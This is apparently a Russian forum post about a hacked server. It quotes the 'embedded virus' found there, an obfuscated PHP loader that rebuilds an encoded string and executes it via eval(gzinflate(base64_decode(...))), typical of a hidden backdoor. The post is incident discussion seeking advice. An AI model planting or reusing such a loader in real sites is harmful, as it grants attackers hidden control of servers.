случай: взлом сервера, предположения, советы

[IRIPus]

содержимое встроенного вируса:

Code: Select all

<?php


eval("\n\$dgreusdi = intval(__LINE__) * 337;");

$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
$a = str_replace($dgreusdi, "E", $a);
eval (gzinflate(base64_decode($a)));